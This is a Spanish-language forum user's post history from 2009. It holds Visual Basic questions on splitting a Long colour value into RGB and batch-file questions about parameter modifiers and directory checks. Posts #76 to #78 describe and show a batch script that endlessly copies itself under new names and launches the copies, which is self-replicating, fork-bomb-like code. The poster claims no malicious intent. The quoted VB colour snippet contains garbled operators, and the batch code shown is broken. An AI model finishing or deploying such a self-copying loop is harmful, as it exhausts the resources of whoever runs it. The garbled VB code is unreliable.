Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - <[(x)]>

#71
Graciass  LeandroA

Seguí buscando (como siempre) y encontré estop.

Código (vb) [Seleccionar]



'in VB, a long integer representing color is created from RGB values:
Color = *   &FF00&    +    G  * &HFF&    +    R
'or this without Hex notation
Color = (256 * 256 * B)  + G * 256 + R

'the bult-in VB function RGB can calculate the Long value for you
Color = RGB (R,G,B)

'to get the RGB from a long
Function Color_to_RGB (Color As Long , R As Integer , G As Integer , B As Integer ) As Long
  R = Color And &HFF&                                     
  G = (Color And &HFF00&) \ &H100&               
  B = (Color & And &HFF0000) \ &H10000         
  'or
  R = Color Mod 256
  G = (Color \ 256 ) Mod 256
  B = (Color \ 256 \ 256 ) Mod 256
End Function

'in VB colors > &H80000000 are systems colors - which must be
'interpreted by VB - they are not standard Long color values!
'use the GetSysColor API to return the true long value of a system color
Private Declare GetSysColor Lib "user32" ( ByVal nIndex As Long ) As Long
iColor = GetSysColor (iColor And &HFFFFFF)

'values of R, G, B can be used to  as BBGGRR to form a hex representation of a color that VB understands
'so, for R = "F0",  G="A3, and B = "2F, the hex representation in VB becomes BBGGRR:
&H2FA3F0

'to get the VB hex string for a color from the Long or RGB
VBColorHexString = Right$( "000000" & Hex $( Color), 6)
VBColorHexString = Right$( "000000" & Hex $( R + 256 * (G + 256 * B ), 6)

'Note:  The Internet and other applications use RRGGBB for the hex format of a color
WebColorHexString = Right$( "000000" & Hex $( B + 256 * (G + 256 * R ), 6)

'to get the Web hex color string from the VB hex color string, swap the first 2 and last 2 character strings
WebColorHexString = Right$(VBHexColorString, 2) & Mid $(VBColorHexString, 3, 2) & Left$(VBHexColorString, 2)



  Fuente  no hay mucho mas.
#72
Programación Visual Basic / convertir long a rgb
27 Febrero 2009, 22:03 PM


holas
 
Armando una app estoy necesitando convertir un color en formato long a rgb.

hasta hay todo bien pero cuando voy a la practica.

Este es el code que uso

Código (vb) [Seleccionar]

  Azul = (Color And 16711680) / 65536
  Verde = (Color And 65280) / 256
  Rojo = Color And 255


  Dando le a 'Color' el valor '&H8000000F',
  'Azul' queda con el valor '0'
  'Verde ' queda con el valor '0'
  'Rojo' queda con el valor '15'
   
que pasa, este color es kasi un negro y el color   '&H8000000F', no

lo que necesito es algún método que funcione bien ..
espero no haber sido muy cargoso y gracias por la atención.

#73
holas si e elido ya es tuto pero no dice nada de el problema q se me presenta  :-(.
#74
holas

Tengo un problema en Batch. No me funcionan las constantes, si es que haci se les puede llamar, osea no me tiran el valor que tendrían.

Este es el código que utilizo.
Código (dos) [Seleccionar]

@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1
pause


Y aka la salida:

Ruta al archivo:
Disco:
Solo ruta:
Nombre:
Extension:
Ruta Corta:
Atributos:
Fecha:
Tama±o:
Presione una tecla para continuar . . .


Es como las constantes estuvieran vacías.

como puedo solucionar estoo??

(h4()
#75
Scripting / Re: ayuda..,
16 Febrero 2009, 03:23 AM
holas---

me tira: 

La sintaxis del comando no es correcta.
#76
Scripting / Re: ayuda..,
15 Febrero 2009, 22:48 PM
holas
mas o menos.

lo que quiero que haga es:

  lo ejecutas sin comando.

  verifica si no esta en el directorio raíz(ej: c:\).
 
  si no lo esta se copia a el directorio contenedor del cual esta y ejecuta la copia sin comando.
   
  luego se ejecuta con el comando 0 y termina.

  pero al hacer  ****.bat 0
  Este mimo empieza a copiarse cambiando el nombre y ejecutando se a la ves enviando su nombre para que  el recién ejecutado no se copie con un nombre existente y haci muchoooo


 
#77
Scripting / Re: ayuda..,
15 Febrero 2009, 21:33 PM
#>_Entonces esta bien el code o que??

  pueden responderme algo, porque me necesito mucho terminar un proyecto mas grande. Que no lo usare con ningún fin maligno o eso.

6r4(|45
#78
holas

Podrían decirme porque me tira error este code:

Código (dos) [Seleccionar]

@echo off
set seg=%1

IF defined seg (

set /a n=0

:bluse
 
set /a n= %n% + 1   

copy %0 a%seg%-%n%.bat
start a%seg%-%n%.bat %seg%-%n%   

goto :bluse

) ELSE (

if ["%cd%"]==["%cd:~0,3%"] goto:fin   

cd..
copy %0 a.bat
start a.bat
start a.bat 0

:fin

)


gracias...
#80
holass

Estaba haciendo algo en Batch y me funciono perfectamente en el directorio c:\, aunque cuando lo cambio a otro q no sea el raíz me tira este error:
   
      No se esperaba and en este momento.
   


y aka les dejo el code:
Código (bash) [Seleccionar]

if %CD% EQU %CD:~3% echo hola
echo no hola
pause


si se puede arreglar este bug, les agradecería la explicación, o un método mas eficiente. 6r4(145

54¬ui)4-477  <[(x)]>